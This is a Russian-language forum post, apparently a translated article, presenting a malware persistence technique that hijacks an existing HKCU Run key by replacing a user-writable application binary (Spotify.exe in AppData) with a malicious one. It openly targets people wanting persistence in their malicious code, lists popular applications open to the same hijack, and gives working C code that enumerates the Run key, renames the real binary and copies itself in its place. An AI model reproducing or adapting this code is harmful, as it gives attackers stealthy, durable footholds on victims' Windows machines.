1606828596216.png

Авторы:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
и
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Введение:
В августе 2020, я разговаривал, с нашим другом
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, про техники закрепления малвари в ОС. Hexacorn насчитал более 100 уникальных методов, которые потенциально могут использоваться злоумышленниками. К сожалению, он не описал их программную реализацию и/или Proof-of-Concept. Но спасибо ему, он дал нам возможность продемонстрировать их для людей, кто хочет использовать техники закрепления в своем вредоносном коде. Данная серия статей преследует две цели: провести ревизию методов, описанных Hexacorn и критически взглянуть на неоригинальные методы закрепления, которые можно увидеть in the wild.

Наша первая статья продемонстрирует технику закрепления, которую не так часто можно увидеть in the wild. Ее смысл в том, чтобы скрывать свои вредоносные намерения на самом видном месте и/или прикидываться легитимным HCKU Run ключом. Я детально покажу, что метод не является чем-то сверхъестественным. Хотя, он и не так широко используем. Обычно, мы видим, что авторы малвари создают новые ключи в реестре, нежели используют существующие.

О чем будет говориться в статье?
В статье будет краткий обзор ключа HCKU Run и как программно перехватить существующий run ключ, чтобы скрыть свои вредоносные действия. Вдобавок, мы перечислим список широко используемых приложений, подходящих для атаки, так как они вносят изменения в пользовательскую часть реестра (HKCU мы HKLM).

Наша программная реализация написана на С и использует Windows API.

Известные проблемы: PoC в статьей использует Spotify, как цель. PoC не полностью маскирует ключ. В идеале, как только ключ будет перехвачен, наш вредоносный код должен запустить Spotify, при запуске системы. В нашем случае он просто вызывает MessageBoxA. Также, ярлык на рабочем столе будет невалидным. Он будет указывать на вредоносный бинарник, поэтому иконка будет отсутствовать. Окончательная реализация должна принять во внимание этот факт и все правильно скорректировать.

Чего не будет в статье:
Хотя реестр Windows крайне интересная штука, мы не будем описывать его архитектуру. Мы также не будем сравнивать эту технику с другими, которые будут описаны в последующих частях серии.

Мы не будем приводить примеры того, как эта техника детектируется антивирусами/может быть реверснута.

Самый распространенный способ закрепления:
Без сомнений, самый распространенный способ закрепления, а также самый очевидный, происходит в ветке HKEY_CURRENT_USER. HKEY_CURRENT_USER, как можно понять из имени - это ветка реестра предназначена для текущего пользователя. Чтение или запись в нее обычно не требует админских прав, поэтому любое пользовательское приложение может делать это очень просто. Для приложения, вносить изменения в эту ветку, является обыденным, рядовым действием. Приложения добавляются в автозагрузку здесь: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Для техники, описываемой в статье, мы должны принять во внимание фундаментальную проблему с правами на папки в Windows и папки, куда устанавливаются приложения. В некоторых случаях, приложения (например NordVPN), устанавливаются в: C:\Program Files\NordVPN\NordVPN.exe

Для создания папок по этому пути требуются админские права. Несмотря на это, некоторые установщики приложений, такие как Spotify, используют следующую директорию: C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe

Проблема в том, что вредоносные приложения могут писать и читать в эту папку. Это позволяет вредоносному приложению либо замаскироваться в существующем Run ключе в HKEY_CURRENT_USER, либо перехватить их, назвав вредоносное приложение Spotify.exe и переименовать легитимное.

C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe ActualSpotify.exe

Несмотря на то, что у малвари есть возможность программно спарсить уязвимые ключи реестра, мы, ради интереса, начали исследовать какие приложения хранят свои данные в %APPDATA%, а не в Program Files/(x86).

Приложения, уязвимые в перехвату:

Имя приложенияВерсияИмя подраздела реестраЗначение
Amazon Music7.13.0.2210Amazon Music%LOCALAPPDATA %\Amazon Music\Amazon Music.exe
Microsoft Teams1.3.00.19173
com.squirrel.Teams.Team%LOCALAPPDATA %\Microsoft\Teams\ Update.exe
Discord0.0.308Discord%LOCALAPPDATA %\Discord\app-0.0.3 07\Discord.exe
One Drive20.143.*One Drive%LOCALAPPDATA %\Microsoft\OneDriv e\OneDrive.exe
Spotify1.1.42.622Spotify%APPDATA%\Spotif y\Spotify.exe
Slack4.9.0com.squirrel.slack.slack%LOCALAPPDATA %\slack\slack.exe
Flock2.2.430Flock%LOCALAPPDATA %\Flock\Flock.exe
Toggl TrackN/ATogglDesktop%LOCALAPPDATA %\TogglDesktop\Tog glDesktop.exe

Код:
PoC содержит много кода по работе со строками. Многие функции здесь предназначены, для проверки путей к приложению или их конструированию.
1. Определяем, замаскировано ли наше приложение под Spotify. Если подстроки Spotify нет, вызываем функцию MasqueradeSpotifyKey. Иначе, вызываем
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

C:
WCHAR wModulePath[WCHAR_MAXPATH] = {0}; 
if (GetModuleFileNameW(NULL, wModulePath, WCHAR_MAXPATH) ==  0 )
    goto FAILURE; 
if (wcsstr(wModulePath, L "Spotify" ) == NULL) { 
    if (MasqueradeSpotifyKey() != ERROR_SUCCESS)
        goto FAILURE; 
} else
    MessageBoxA(NULL,  "" ,  "" , MB_OK);
2. Открываем ветку
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
по пути Software\Microsoft\Windows\CurrentVersion\Run. Запрашиваем права
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Хотя, единственные требуемые права доступа для этого PoC - KEY_QUERY_VALUE и KEY_ENUMERATE_SUB_KEYS. Да, мы могли явно запросить права для ключа Spotify ( Software\Microsoft\Windows\CurrentVersion\Run\Spotify) , но мы хотели продемонстрировать динамический подход.

C:
WCHAR wRegistryPath[WCHAR_MAXPATH] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run" ;
HKEY hKey = NULL , hHive = HKEY_CURRENT_USER;
BOOL bFlag = FALSE;
dwError = (LRESULT)RegOpenKeyExW(hHive, wRegistryPath, 0 , KEY_ALL_ACCESS, &hKey);
if (dwError != ERROR_SUCCESS) goto FAILURE;
3. Проходимся по всем записям в Run. Мы решили ограничиться числом 256. На каждой итерации мы вызываем
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, используем LPDWORD lpType , в качестве 6 параметра, чтобы определить, имеет ли полученное значение тип
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Если нет, то продолжаем цикл дальше. Иначе, мы конвертируем полученный
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
в WCHAR и вызываем
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, чтобы определить, содержит ли она строку Spotify. В этом случае, мы устанавливаем BOOLEAN флаг в TRUE. Мы используем его в качестве сигнала успешности завершения цикла.

C:
for (; dwError < 256 ; dwError++) { 

    DWORD dwReturn = 0 , lpType = 0 , dwValueSize = WCHAR_MAXPATH, dwDataSize = WCHAR_MAXPATH; BYTE lpData[WCHAR_MAXPATH] = { 0 }; 
 
    WCHAR wString[WCHAR_MAXPATH] = { 0 };     
    WCHAR lpValue[WCHAR_MAXPATH] = { 0 };     
    dwReturn = (LSTATUS)RegEnumValueW(hKey, dwError, lpValue, &dwValueSize, NULL , &lpType, lpData, &dwDataSize);
 
    if (dwReturn != ERROR_SUCCESS && dwError != ERROR_NO_MORE_ITEMS)
        goto FAILURE;
 
    if (lpType != REG_SZ)
        continue ; 
 
    swprintf(wString, L"%ws" , lpData);
 
    if (wcsstr(wString, L"Spotify" ) != NULL ) {
        bFlag = TRUE;
        break;
    }
}
 
if (!bFlag) {
    SetLastError(ERROR_FILE_NOT_FOUND);
    goto FAILURE;
}
4. Логика следующего кода проста. В начале, переименовываем Spotify.exe в RealSpotify.exe , вызвав
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Потом переименовываем наш вредоносный файл и перемещаем его в папку Spotify, вызвав
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Если все прошло удачно, мы освобождаем ресурсы функцией
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

C:
if (GetEnvironmentVariableW(L"APPDATA", wModulePath, WCHAR_MAXPATH) == 0)
    goto FAILURE;  
    
wcscat(wModulePath, L"\\Spotify\\Spotify.exe"); 
 
if (GetEnvironmentVariableW( L"APPDATA" , wNewPath, WCHAR_MAXPATH) == 0 ) 
    goto FAILURE; 
 
wcscat(wNewPath, L"\\Spotify\\RealSpotify.exe" );  
 
if (!MoveFile(wModulePath, wNewPath)) 
    goto FAILURE;  
 
ZeroMemory(wModulePath, WCHAR_MAXPATH);
ZeroMemory(wNewPath, WCHAR_MAXPATH);
 
if (GetModuleFileNameW(NULL , wModulePath, WCHAR_MAXPATH) == 0)  
    goto FAILURE;  
 
if (GetEnvironmentVariableW( L"APPDATA", wNewPath, WCHAR_MAXPATH) == 0) 
    goto FAILURE;  
 
wcscat(wNewPath, L"\\Spotify\\Spotify.exe");  
 
if (!CopyFile(wModulePath, wNewPath, TRUE))  
    goto FAILURE;  
 
if (hKey) RegCloseKey(hKey); 
return ERROR_SUCCESS;
5. Если в нашем коде произошла ошибка, мы безопасно выходим, прыгая на метку FAILURE. В ней мы проверяем, валиден ли наш HANDLE. Если да, то мы его закрываем функцией
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

C:
FAILURE: 
    dwError = GetLastError(); 
    if (hKey) RegCloseKey(hKey); 
    return dwError; 
}